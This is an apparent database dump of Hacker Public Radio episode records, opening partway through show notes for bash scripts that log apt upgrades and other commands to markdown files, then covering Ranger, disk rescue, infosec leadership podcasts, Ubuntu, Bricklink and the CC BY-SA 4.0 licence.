yes to the prompt.&quot; \\                                            &lt;-- formatting: label.\r\n    | tee -a ${DIRECTORY}${FILENAME}                                                           &lt;-- path/to/file\r\n</code></pre>\r\n<ul>\r\n<li><code># step 2: run commands with formatting.</code>,\r\n<ul>\r\n<li>Setup labels and an area for the stdout to be store with markdown formatting.</li>\r\n<li>We place the time and date into the stdout area then run the commands.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>echo -e &quot;\\n**Command std-output:**\\n&quot; \\                                                        &lt;-- formatting: label.\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`&quot; \\                                                                             &lt;-- formatting: markdown.\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n    echo $(date) \\                                                                             &lt;-- command: date.\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nsudo apt-get update \\                                                                          &lt;-- command: update.\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\n# System update completed.\\n&quot; \\                                                     &lt;-- formatting: label.\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nsudo apt-get upgrade --yes \\                                                                   &lt;-- command: upgrade with &quot;--yes&quot; option.\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\n# System upgrade completed.\\n&quot; \\                                                    &lt;-- formatting: label.\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`\\n&quot; \\                                                                           &lt;-- formatting: markdown.\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n</code></pre>\r\n<ul>\r\n<li><code># step 3: additional details with more formatting.</code>,\r\n<ul>\r\n<li>List the packages that were upgraded with details from system cache.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>echo -e &quot;**Upgraded Package Details:**\\n&quot; \\                                                    &lt;-- formatting: label.\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`&quot; \\                                                                             &lt;-- formatting: markdown.\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nPKGLIST=$(sed -n &quot;/The following packages will be upgraded:/,/^.. upgraded/p&quot; ${DIRECTORY}${FILENAME} \\  &lt;--| variable with list of packages within it.\r\n    | sed &#39;1d;$d&#39; | xargs -n 1 | sed &#39;/:i386$/d&#39;) \\                                            &lt;--| sed: filter the first and last lines then remove the :i386 duplicate packages.\r\n\r\nPKGCACHE=$(echo -e &quot;${PKGLIST}\\n&quot; \\                                                            &lt;--| variable with massive apt-cache search results.\r\n    | xargs -n1 -I _ apt-cache search _)                                                       &lt;--| xargs runs the PKGLIST (the _ is the value of PKGLIST) into the apt-cache search.\r\necho &quot;${PKGCACHE}&quot; &gt; ${DIRECTORY}delete.txt                                                    &lt;--| I had to put the PKGCACHE in a file. I couldn&#39;t get sed to filter a variable (yet).\r\n\r\necho &quot;${PKGLIST}&quot; \\                                                                            &lt;--| use that PKGLIST to create a few sed commands to filter the file called &quot;delete.txt&quot;.\r\n    | xargs -n 1 -I _ echo &quot;sed -n &#39;/^_ /p&#39;&quot; &quot;${DIRECTORY}delete.txt&quot; \\                        ^--| xargs is used to create the sed commands.\r\n    | bash | tee -a ${DIRECTORY}${FILENAME};                                                   &lt;--| run the sed commands through bash then store them.\r\n\r\necho -e &quot;\\`\\`\\`&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nrm -v ${DIRECTORY}delete.txt;                                                                  &lt;--| use rm to delete the file called &quot;delete.txt&quot; it has the apt-cache search results in it.\r\nPKGLIST=                                                                                       &lt;--| empty the variable. why? why not!\r\nPKGCACHE=                                                                                      &lt;--| empty the variable. why? why not!\r\n</code></pre>\r\n<ul>\r\n<li><code># step 4: place EOF (end of file).</code>,\r\n<ul>\r\n<li>Add EOF (END OF FILE) to the end of the file. If one is already there, -</li>\r\n<li>it\'s removed then replaced in the correct position.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>    sed -i &#39;/EOF/d&#39; ${DIRECTORY}${FILENAME}                                                    &lt;--| search for EOF then remove it. we don&#39;t want multiple EOF if we run the script multiple times in the same day.\r\necho &quot;EOF&quot; &gt;&gt; ${DIRECTORY}${FILENAME}                                                          ^--| adds the EOF (End Of File) at the end of the file.  I read it was a nice thing to do.\r\n#EOF                                                                                           &lt;--| Yep. it&#39;s there.\r\n\r\n</code></pre>\r\n<hr />\r\n<p><strong>SYNOPSIS:</strong> <em>note.sh</em> \"command\" \"filename\"</p>\r\n<ul>\r\n<li>example: note.sh \"ls -lhA\" \"basic-list\"</li>\r\n<li>make markdown notes of your commands.</li>\r\n</ul>\r\n<pre><code>#!/bin/bash\r\n# note.sh &quot;command&quot; &quot;filename&quot; no extentions.\r\n\r\n# variables\r\nFILENAME=$2$(date +%m-%d-%Y).md\r\nDIRECTORY=&quot;${HOME}/Documents/&quot;\r\n\r\n# step 1: create file with formatting.\r\necho -e &quot;# **Command:** \\` $1 \\`\\n&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;**Command Breakdown:**&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho &quot;$1&quot; | tr &quot; &quot; &#39;\\n&#39; \\\r\n    | awk &#39;{ print &quot;- `&quot; $0 &quot;`, info.&quot; }&#39; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\n# step 2: run command with more formatting.\r\necho -e &quot;\\n**Command std-output:**&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`\\n$(date)&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\necho $1 | bash \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\necho -e &quot;\\`\\`\\`&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\necho -ne &quot;\\n${FILENAME} has been updated $(date).&quot;\r\n\r\n# step 3: insert EOF (End Of File).\r\nsed -i &#39;/EOF/d&#39; ${DIRECTORY}${FILENAME}\r\necho EOF &gt;&gt; ${DIRECTORY}${FILENAME}\r\n</code></pre>\r\n<p><strong>Script breakdown:</strong> <em>upg.sh</em></p>\r\n<ul>\r\n<li><p>First, we declare bash as our shell with <code>#!/bin/bash</code>. We could also use <code>#!/bin/sh</code> for a more portable script.</p></li>\r\n<li><p>I like to paste the name of the script we\'re working on into the script itself <code># upg.sh</code>.</p></li>\r\n<li><p>Setup a couple of variables to shorten the syntax.</p></li>\r\n</ul>\r\n<pre><code>FILENAME=$2$(date +%m-%d-%Y).md                                                                &lt;--| the &quot;$2&quot; is the second user input (file name) from the commandline.\r\nDIRECTORY=&quot;${HOME}/Documents/&quot;\r\n</code></pre>\r\n<ul>\r\n<li><code># step 1: create file with formatting.</code>\r\n<ul>\r\n<li>Build labels for Command Name with a short breakdown of the command(s) used.</li>\r\n<li><strong>Note:</strong> the breakdown must be entered manually.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>echo -e &quot;# **Command:** \\` $1 \\`\\n&quot; \\                                                          &lt;--| the &quot;$1&quot; is the first user input (the command) from the commandline.\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;**Command Breakdown:**&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho &quot;$1&quot; | tr &quot; &quot; &#39;\\n&#39; \\                                                                      &lt;--| This just breaks the command into parts then adds some markdown formatting for use to add -\r\n    | awk &#39;{ print &quot;- `&quot; $0 &quot;`, info.&quot; }&#39; \\                                                    ^--| details to later. I just added the word info so you know to provide info about the command. -\r\n    | tee -a ${DIRECTORY}${FILENAME}                                                           ^--| the formatting gets a bit crazy if you use something like: awk {&#39; print $1 $2 $3 &#39;} path/to/file;  each space becomes a newline with the markdown formatting.\r\n</code></pre>\r\n<ul>\r\n<li><code># step 2: run command with more formatting.</code>\r\n<ul>\r\n<li>Echo the Command into <em>bash</em> with markdown formatting for stdout.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>echo -e &quot;\\n**Command std-output:**&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`\\n$(date)&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\necho $1 | bash \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\necho -e &quot;\\`\\`\\`&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\necho -ne &quot;\\n${FILENAME} has been updated $(date).&quot;\r\n</code></pre>\r\n<ul>\r\n<li><code># step 3: insert EOF (End Of File).</code>\r\n<ul>\r\n<li>Add EOF (END OF FILE) to the end of the file. If one is already there, -</li>\r\n<li>it\'s removed then replaced in the correct position.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>sed -i &#39;/EOF/d&#39; ${DIRECTORY}${FILENAME}\r\necho EOF &gt;&gt; ${DIRECTORY}${FILENAME}\r\n</code></pre>\r\n<hr />\r\n<p><strong>Correspondent:</strong> <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\">Some Guy On The Internet.</a><br />\r\n<strong>Host ID:</strong> 391<br />\r\n<strong>E-mail:</strong> <a href=\"/tmp/.mount_Joplin1UDfeV/resources/app.asar/Lyunpaw@gmail.com\" title=\"Lyunpaw@gmail.com\">Lyunpaw.nospam@nospam.gmail.com</a></p>\r\n<ul>\r\n<li>use <strong>\"hpr391\"</strong> as the subject line for all emails to avoid the junk filter.</li>\r\n<li><a href=\"https://drive.google.com/file/d/1vaGWVv48IcPNXXBknDer8ZBsUvix6qp4/view?usp=sharing\">show notes markdown file</a> <a href=\"https://creativecommons.org/licenses/by-sa/4.0/\"><img src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" alt=\"Creative Commons License\" /></a> This work is licensed under a <a href=\"https://creativecommons.org/licenses/by-sa/4.0/\">Creative Commons Attribution-ShareAlike 4.0 International License</a>.</li>\r\n</ul>\r\n',391,0,0,'CC-BY-SA','Bash Scripting, sed, awk, xargs, markdown, notes',0,0,1),
(3427,'2021-09-21','Ranger for the Win!',1096,'In this episode, I go over some typical use cases for the Ranger file manager','<h2 id=\"programs-referenced-in-this-episode\">Programs referenced in this episode</h2>\r\n<ul>\r\n<li>ranger</li>\r\n<li>caca-utils</li>\r\n<li>poppler-utils</li>\r\n<li>atool</li>\r\n<li>highlight</li>\r\n<li>trash-cli</li>\r\n<li>xlsx2csv</li>\r\n<li>docs2txt</li>\r\n<li>catdoc (for doc2txt and xls2csv)</li>\r\n<li>ods2tsv</li>\r\n</ul>\r\n',300,0,0,'CC-BY-SA','ranger,file manager,linux',0,0,1),
(3428,'2021-09-22','Bad disk rescue',1794,'Bad disk rescue - tragedy or happy ending?','<p>Here I tell the tale of a bad disk rescue. Is the rescue bad or just the disk? Well the disk is most certainly bad but please listen and tell me if the rescue was good or bad or could have been done better.</p>\r\n<p>Guest stars in this show include:</p>\r\n<ul>\r\n<li>dd</li>\r\n<li>ddrescue</li>\r\n<li>losetup</li>\r\n<li>mount</li>\r\n<li>badblocks</li>\r\n<li>smartctl</li>\r\n<li>The <a href=\"https://www.system-rescue.org\">System rescue distro</a></li>\r\n</ul>',268,0,0,'CC-BY-SA','linux,disk,windows,virtualbox',0,0,1),
(3422,'2021-09-14','Update about Phones and Devices',1341,'An Update about my New Phone and second one that is coming','<p>Small update about my new RedMi 10s and my new Monty Mint phone.</p>\r\n<ul>\r\n<li><a href=\"https://www.gsmarena.com/xiaomi_redmi_note_10s-10769.php\">https://www.gsmarena.com/xiaomi_redmi_note_10s-10769.php</a></li>\r\n<li><a href=\"https://ogadget.com/x/mony\">https://ogadget.com/x/mony</a></li>\r\n</ul>',129,0,0,'CC-BY-SA','Android, phone, Linux, Pine64, Smart Watch',0,0,1),
(3424,'2021-09-16','Infosec Podcasts Part 6 - Infosec Leadership',721,'Presenting my favorite information security leadership podcasts','<p>Inoffensive in every region of the world.</p>\r\n<p>Thank you to everyone who has listened to my previous episodes. This is the final episode in the Infosec Podcasts series.</p>\r\n<p>I listen to many, MANY podcasts. The vast majority of these are related to information security.</p>\r\n<p>Because there are so many podcasts to list, I have broken them down into 6 different episodes based on topics:</p>\r\n<ul>\r\n<li>Part 1 - News & Current Events - Episode 3324</li>\r\n<li>Part 2 - General Information Security - Episode 3334</li>\r\n<li>Part 3 - Career & Personal Development - Episode 3344</li>\r\n<li>Part 4 - Social Engineering - Episode 3368</li>\r\n<li>Part 5 - Episode 3387\r\n<ul>\r\n<li>Hacks & Attacks</li>\r\n<li>Technical Information & Learning</li>\r\n<li>Infosec Community / Social / History</li>\r\n<li>Part 6 - Infosec Leadership</li>\r\n</ul></li>\r\n</ul>\r\n<p><strong>Preamble</strong></p>\r\n<p>Term: CISO</p>\r\n<ul>\r\n<li>Pronounced SEE-so or SAI-so</li>\r\n<li>Chief Information Security Officer</li>\r\n<li>Sounds like executive leadership position, similar to Chief Executive Officer (CEO), Chief Financial Officer (CFO), etc but this is often not the case</li>\r\n</ul>\r\n<p>Security leadership is changing</p>\r\n<p>Old way:</p>\r\n<ul>\r\n<li>Experienced technologists (Usually old white guys) worked way up ranks</li>\r\n<li>Usually reported through IT (CIO/CTO)</li>\r\n<li>Department of \"No\" - Block everything bad</li>\r\n<li>Slows down business</li>\r\n</ul>\r\n<p>New way:</p>\r\n<ul>\r\n<li>Experienced business professionals with leadership skills and security understanding</li>\r\n<li>Can report through:\r\n<ul>\r\n<li>IT (CIO/CTO)</li>\r\n<li>Legal (For compliance reasons)</li>\r\n<li>Finance (CFO) for governance or compliance reasons</li>\r\n<li>Financial impacts of attacks</li>\r\n<li>Direct costs</li>\r\n<li>Fines</li>\r\n<li>CEO - Seat at the table with other C-level execs</li>\r\n<li>Direct to board</li>\r\n</ul></li>\r\n<li>Empowers the business to succeed in a secure way</li>\r\n<li>Can still slow down the business, but only when needed\r\n<ul>\r\n<li>Brakes on a race car</li>\r\n</ul></li>\r\n</ul>\r\n<p><strong>Infosec Leadership Podcasts</strong></p>\r\n<ul>\r\n<li>CISO Tradecraft - G Mark Hardy (Weekly)\r\n<ul>\r\n<li>Discussion of topics related to becoming a CISO or maturing as a CISO</li>\r\n<li><a href=\"https://www.cisotradecraft.com/\" class=\"uri\">https://www.cisotradecraft.com/</a></li>\r\n</ul></li>\r\n<li>CISO Vendor Relationship Podcast - David Spark & Guests (Weekly)\r\n<ul>\r\n<li>Weekly podcast addressing the challenges experienced by both security professionals and the vendors with whom they interact.</li>\r\n<li><a href=\"https://cisoseries.com/subscribe-podcast/\" class=\"uri\">https://cisoseries.com/subscribe-podcast/</a></li>\r\n</ul></li>\r\n<li>CISO Talks (Weekly)\r\n<ul>\r\n<li>The talk show series with discussions of current trends in the world of information security with CISOs on the front line.</li>\r\n<li><a href=\"https://www.lepide.com/ciso-talks.html\" class=\"uri\">https://www.lepide.com/ciso-talks.html</a></li>\r\n</ul></li>\r\n<li>CISO Talk - James Azar (Weekly)\r\n<ul>\r\n<li>Presents the CISO view on cybersecurity, talent development, technology, leadership and much more.</li>\r\n<li><a href=\"https://cisotalk.podbean.com/\" class=\"uri\">https://cisotalk.podbean.com/</a></li>\r\n</ul></li>\r\n<li>The Cyber Ranch Podcast - Allan Alford & Hacker Valley Studios (Weekly)\r\n<ul>\r\n<li>Interviews with security leaders discussing relevant topics</li>\r\n<li><a href=\"https://hackervalley.com/cyberranch/\" class=\"uri\">https://hackervalley.com/cyberranch/</a></li>\r\n</ul></li>\r\n<li>CISO\'s Secrets - Currently hosted by Grant Asplund and sponsored by Checkpoint\r\n<ul>\r\n<li>Interviews with security leaders across a wide range of industries</li>\r\n<li>Addresses real issues facing security professionals and businesses</li>\r\n<li><a href=\"https://cp.buzzsprout.com/\" class=\"uri\">https://cp.buzzsprout.com/</a></li>\r\n</ul></li>\r\n<li>CISO Stories - Hosted by Todd Fitzgerald and Sam Curry and part of the Security Weekly family of podcasts\r\n<ul>\r\n<li>Based originally on interviews with security leaders who contributed to the book \"CISO COMPASS: Navigating Cybersecurity Leadership Challenges with Insights from Pioneers\"</li>\r\n<li>Episodes are usually only about 20 minutes</li>\r\n<li><a href=\"https://securityweekly.com/category-shows/\">https://securityweekly.com/category-shows/the-ciso-stories-podcast/</a></li>\r\n</ul></li>\r\n<li>The New CISO - Hosted by Exabeam\'s Chief Security Strategist, Steve Moore and Sponsored by Exabeam\r\n<ul>\r\n<li>Interviews with industry leading and visionary security leaders</li>\r\n<li>How do lead security teams and business</li>\r\n<li>Interacting with business leaders</li>\r\n<li><a href=\"https://www.exabeam.com/fr/library-by-type/ciso-podcasts/\" class=\"uri\">https://www.exabeam.com/fr/library-by-type/ciso-podcasts/</a></li>\r\n</ul></li>\r\n</ul>\r\n<p>That wraps up this series. I welcome any feedback you might have in the comments section for this episode on the HPR site.</p>\r\n<p>Thank you very much for listening.</p>\r\n',394,75,0,'CC-BY-SA','infosec, podcasts, security, leadership',0,0,1),
(3429,'2021-09-23','Linux Inlaws S01E39: Ubuntu and the Community',5207,'All about your favourite Debian spin and IBM mainframes','<p>\r\n    In this episode, our two hosts host Rhys Davies, a developer advocate from Canonical. So all\r\n    beans will be spilled on one of the most popular Linux distros out there. Like its past, present\r\n    and future. Never mind how Canonical makes its moolah and where this goes... Plus an interesting\r\n    infomercial on old big iron (IBM, if you\'re listening: the mail address is sponsor@linuxinlaws.eu).\r\n</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Canonical: <a href=\"https://canonical.com\" target=_blank>https://canonical.com</a></li>\r\n<li>Ubuntu: <a href=\"https://ubuntu.com\" target=_blank>https://ubuntu.com</a></li>\r\n<li>Manjaro: <a href=\"https://manjaro.org\" target=_blank>https://manjaro.org</a></li>\r\n<li>WSL: <a href=\"https://wiki.ubuntu.com/WSL\" target=_blank>https://wiki.ubuntu.com/WSL</a></li>\r\n<li>Snapcraft: <a href=\"https://snapcraft.io\" target=_blank>https://snapcraft.io</a></li>\r\n<li>Ubuntu community reboot: <a href=\"https://ubuntu.com/blog/reintroducing-the-community-team\" target=_blank>https://ubuntu.com/blog/reintroducing-the-community-team</a></li>\r\n<li>Chromium as a snap: <a href=\"https://snapcraft.io/blog/chromium-in-ubuntu-deb-to-snap-transition\" target=_blank>https://snapcraft.io/blog/chromium-in-ubuntu-deb-to-snap-transition</a></li>\r\n<li>Ubuntu podcast episode on this issue: <a href=\"https://ubuntupodcast.org/2020/06/04/s13e11-inside-out-clothes\" target=_blank>https://ubuntupodcast.org/2020/06/04/s13e11-inside-out-clothes</a></li>\r\n<li>Canonical\'s transition from upstart to systemd: <a href=\"https://lists.ubuntu.com/archives/ubuntu-devel/2016-July/039465.html\" target=_blank>https://lists.ubuntu.com/archives/ubuntu-devel/2016-July/039465.html</a></li>\r\n<li>LinuxONE and Ubuntu: <a href=\"https://ubuntu.com/blog/tag/linuxone\" target=_blank>https://ubuntu.com/blog/tag/linuxone</a></li>\r\n<li>Rhys\' presentation at the Linux App Summit: <a href=\"https://conf.linuxappsummit.org/event/3/contributions/65\" target=_blank>https://conf.linuxappsummit.org/event/3/contributions/65</a></li>\r\n<li>Critical Role: <a href=\"https://critrole.com\" target=_blank>https://critrole.com</a></li>\r\n<li>Hazy Jane: <a href=\"https://www.brewdog.com/eu_de/hazy-jane-440-eu\" target=_blank>https://www.brewdog.com/eu_de/hazy-jane-440-eu</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Debian, Ubuntu, IBM, mainframes, snaps, Canonical',0,0,1),
(3451,'2021-10-25','Bricklink',837,'Custom 3rd Part Lego Shops','<ul>\r\n<li>beware shipping prices</li>\r\n<li>always use Instant Checkout</li>\r\n<li>be sure to check USA</li>\r\n<li>2-3x the cost of lego.com set</li>\r\n<li>paying 3-5 people via paypal ....</li>\r\n<li>no way to easy share wanted list ...</li>\r\n<li>LOST :( https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.xml</li>\r\n<li>7 missing out of 216 on one shipment</li>\r\n</ul>\r\n<!-- Photo: -->\r\n<!-- https://drive.google.com/file/d/16r1dyJZzqbLRfx0iKB2orj0MdNC_8yXl/view?usp=sharing -->\r\n<p><em>Photo</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3451/20210829_212454.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3451/20210829_212454_thumbnail.jpg\" alt=\"Photo\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>',36,0,0,'CC-BY-SA','lego',0,0,1),
(3432,'2021-09-28','Reading a license: Creative Commons Attribution ShareAlike 4.0 International',1956,'We jump into the future of 2013 and see how content licensing has changed','<p>Previous episode: <a href=\"https://hackerpublicradio.org/eps.php?id=3412\">https://hackerpublicradio.org/eps.php?id=3412</a><br><em>hpr3412 :: Reading a license: Creative Commons Attribution ShareAlike 3.0 Unported</em></p>\r\n<p>Timeline</p>\r\n<ul>\r\n<li>2007-02-23 <a href=\"https://creativecommons.org/2007/02/23/version-30-launched/\">https://creativecommons.org/2007/02/23/version-30-launched/</a></li>\r\n<li>2007-09-26 <a href=\"https://www.gnu.org/licenses/gpl-3.0.html\">https://www.gnu.org/licenses/gpl-3.0.html</a></li>\r\n<li>2011-11-03 <a href=\"https://creativecommons.org/2011/11/03/copyright-experts-discuss-cc-license-version-4-0-at-the-global-summit/\">https://creativecommons.org/2011/11/03/copyright-experts-discuss-cc-license-version-4-0-at-the-global-summit/</a><ul>\r\n<li>Internationalization</li>\r\n<li>Interoperability</li>\r\n<li>Long-lasting</li>\r\n<li>Data/PSI (Public Sector Information?)/Science/Education</li>\r\n<li>Supporting Existing Adoption Models and Frameworks</li>\r\n</ul>\r\n</li>\r\n<li>2013-11-25 <a href=\"https://creativecommons.org/2013/11/25/ccs-next-generation-licenses-welcome-version-4-0/\">https://creativecommons.org/2013/11/25/ccs-next-generation-licenses-welcome-version-4-0/</a><ul>\r\n<li>30-day violation grace period<br><a href=\"https://creativecommons.org/faq/#how-can-i-lose-my-rights-under-a-creative-commons-license-if-that-happens-how-do-i-get-them-back\">https://creativecommons.org/faq/#how-can-i-lose-my-rights-under-a-creative-commons-license-if-that-happens-how-do-i-get-them-back</a></li>\r\n</ul>\r\n</li>\r\n<li>2013-12-06 16Z--18Z CC site moves to 4.0 -- last snapshot with 3.0 is <a href=\"https://web.archive.org/web/20131206155520/https://creativecommons.org/\">https://web.archive.org/web/20131206155520/https://creativecommons.org/</a></li>\r\n<li>2014-10-21 CC-by-SA 4.0 and Free Art License 1.3 defined as two-way compatible licenses<br><a href=\"https://creativecommons.org/2014/10/21/big-win-for-an-interoperable-commons-by-sa-and-fal-now-compatible/\">https://creativecommons.org/2014/10/21/big-win-for-an-interoperable-commons-by-sa-and-fal-now-compatible/</a></li>\r\n<li>2015-10-08 GPLv3 defined as a one-way compatible license for CC-by-SA 4.0<br><a href=\"https://creativecommons.org/2015/10/08/cc-by-sa-4-0-now-one-way-compatible-with-gplv3/\">https://creativecommons.org/2015/10/08/cc-by-sa-4-0-now-one-way-compatible-with-gplv3/</a></li>\r\n</ul>\r\n<p>Links to license and deed and links from within the texts</p>\r\n<ul>\r\n<li><a href=\"https://creativecommons.org/licenses/by-sa/4.0/\">https://creativecommons.org/licenses/by-sa/4.0/</a></li>\r\n<li><a href=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">https://creativecommons.org/licenses/by-sa/4.0/legalcode</a><ul>\r\n<li><em>The text of the Creative Commons public licenses is dedicated to the public domain under the CC0 Public Domain Dedication.</em></li>\r\n</ul>\r\n</li>\r\n<li><a href=\"https://freedomdefined.org/\">https://freedomdefined.org/</a><br>Definition of <em>Free Cultural Works</em></li>\r\n<li><a href=\"https://wiki.creativecommons.org/License_Versions#Detailed_attribution_comparison_chart\">https://wiki.creativecommons.org/License_Versions#Detailed_attribution_comparison_chart</a><br>How to give credit</li>\r\n<li><a href=\"https://wiki.creativecommons.org/License_Versions#Modifications_and_adaptations_must_be_marked_as_such\">https://wiki.creativecommons.org/License_Versions#Modifications_and_adaptations_must_be_marked_as_such</a><br>How to mark a work as modified</li>\r\n<li><a href=\"https://wiki.creativecommons.org/FAQ#If_I_derive_or_adapt_material_offered_under_a_Creative_Commons_license.2C_which_CC_license.28s.29_can_I_use.3F\">https://wiki.creativecommons.org/FAQ#If_I_derive_or_adapt_material_offered_under_a_Creative_Commons_license.2C_which_CC_license.28s.29_can_I_use.3F</a><br>How and when you can relicense a work</li>\r\n<li><a href=\"https://wiki.creativecommons.org/License_Versions#Application_of_effective_technological_measures_by_users_of_CC-licensed_works_prohibited\">https://wiki.creativecommons.org/License_Versions#Application_of_effective_technological_measures_by_users_of_CC-licensed_works_prohibited</a><br>Definition of <em>effective technological measure</em></li>\r\n<li><a href=\"https://wiki.creativecommons.org/Frequently_Asked_Questions#Do_Creative_Commons_licenses_affect_exceptions_and_limitations_to_copyright.2C_such_as_fair_dealing_and_fair_use.3F\">https://wiki.creativecommons.org/Frequently_Asked_Questions#Do_Creative_Commons_licenses_affect_exceptions_and_limitations_to_copyright.2C_such_as_fair_dealing_and_fair_use.3F</a><br>When do you not need a license</li>\r\n<li><a href=\"https://wiki.creativecommons.org/Considerations_for_licensors_and_licensees\">https://wiki.creativecommons.org/Considerations_for_licensors_and_licensees</a><br>Limitations, scope, community practices and advice</li>\r\n<li><a href=\"https://wiki.creativecommons.org/FAQ\">https://wiki.creativecommons.org/FAQ</a></li>\r\n</ul>\r\n<p>Other links</p>\r\n<ul>\r\n<li>39 jurisdiction ports of by-SA 3.0 <a href=\"https://wiki.creativecommons.org/wiki/CC_Ports_by_Jurisdiction\">https://wiki.creativecommons.org/wiki/CC_Ports_by_Jurisdiction</a></li>\r\n<li>Next episode will be based on <a href=\"https://creativecommons.org/version4/\">https://creativecommons.org/version4/</a></li>\r\n</ul>\r\n<hr>\r\n<h2 id=\"creative-commons-license-deed\">Creative Commons License Deed</h2>\r\n<p>Original: <a href=\"https://creativecommons.org/licenses/by-sa/4.0/\">https://creativecommons.org/licenses/by-sa/4.0/</a></p>\r\n<p><em>The below is an Adaptation that has been reformatted for simplicity and focus on the text, removed graphical elements such as the Creative Commons Attribution and ShareAlike icons and has simple links to more info where there was originally a popup with a brief description and then a link.</em></p>\r\n<p><em>This Adaptation is released under CC-by 3.0: <a href=\"https://creativecommons.org/licenses/by/3.0/\">https://creativecommons.org/licenses/by/3.0/</a> </em></p>\r\n<h2 id=\"attribution-sharealike-4-0-international-cc-by-sa-4-0-\">Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)</h2>\r\n<p>This is a human-readable summary of (and not a substitute for) the <a href=\"/eps/hpr3432/\">license</a>.</p>\r\n<h3 id=\"disclaimer\">Disclaimer</h3>\r\n<blockquote>\r\n<p>This deed highlights only some of the key features and\r\nterms of the actual license. It is not a license and\r\nhas no legal value. You should carefully review all of\r\nthe terms and conditions of the actual license before\r\nusing the licensed material.</p>\r\n<p>Creative Commons is not a law firm and does not\r\nprovide legal services. Distributing, displaying, or\r\nlinking to this deed or the license that it summarizes\r\ndoes not create a lawyer-client or any other\r\nrelationship.</p>\r\n</blockquote>\r\n<h3 id=\"you-are-free-to-\">You are free to:</h3>\r\n<ul>\r\n<li><strong>Share</strong> - copy and redistribute the material in any medium or format</li>\r\n<li><strong>Adapt</strong> - remix, transform, and build upon the material for any purpose, even commercially.</li>\r\n</ul>\r\n<p><a href=\"https://freedomdefined.org/\"><img src=\"https://creativecommons.org/images/deed/seal.png\" alt=\"This license is acceptable for Free Cultural Works.\"></a></p>\r\n<p>The licensor cannot revoke these freedoms as long as you follow the license terms.</p>\r\n<h3 id=\"under-the-following-terms-\">Under the following terms:</h3>\r\n<ul>\r\n<li><strong>Attribution</strong> - You must give <a href=\"https://wiki.creativecommons.org/License_Versions#Detailed_attribution_comparison_chart\">appropriate credit</a>, provide a link to the license, and <a href=\"https://wiki.creativecommons.org/License_Versions#Modifications_and_adaptations_must_be_marked_as_such\">indicate if changes were made</a>. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.</li>\r\n<li><strong>ShareAlike</strong> - If you remix, transform, or build upon the material, you must distribute your contributions under the <a href=\"https://wiki.creativecommons.org/FAQ#If_I_derive_or_adapt_material_offered_under_a_Creative_Commons_license.2C_which_CC_license.28s.29_can_I_use.3F\">same license</a> as the original.</li>\r\n<li><strong>No additional restrictions</strong> - You may not apply legal terms or <a href=\"https://wiki.creativecommons.org/License_Versions#Application_of_effective_technological_measures_by_users_of_CC-licensed_works_prohibited\">technological measures</a> that legally restrict others from doing anything the license permits.</li>\r\n</ul>\r\n<h3 id=\"notices-\">Notices:</h3>\r\n<ul>\r\n<li>You do not have to comply with the license for elements of the material in the public domain or where your use is permitted by an applicable <a href=\"https://wiki.creativecommons.org/Frequently_Asked_Questions#Do_Creative_Commons_licenses_affect_exceptions_and_limitations_to_copyright.2C_such_as_fair_dealing_and_fair_use.3F\">exception or limitation</a>.</li>\r\n<li>No warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as <a href=\"https://wiki.creativecommons.org/Considerations_for_licensors_and_licensees\">publicity, privacy, or moral rights</a> may limit how you use the material.</li>\r\n</ul>\r\n<hr>\r\n<h2 id=\"creative-commons-legal-code\">Creative Commons Legal Code</h2>\r\n<p>Original: <a href=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">https://creativecommons.org/licenses/by-sa/4.0/legalcode</a>\r\nPlain Adaptation re-hosted on HPR: <a href=\"https://hackerpublicradio.org/eps/hpr3432/\">https://hackerpublicradio.org/eps/hpr3432/</a></p>\r\n',311,0,0,'CC-BY-SA','license, creative commons, recital, reading, legal',0,0,1),
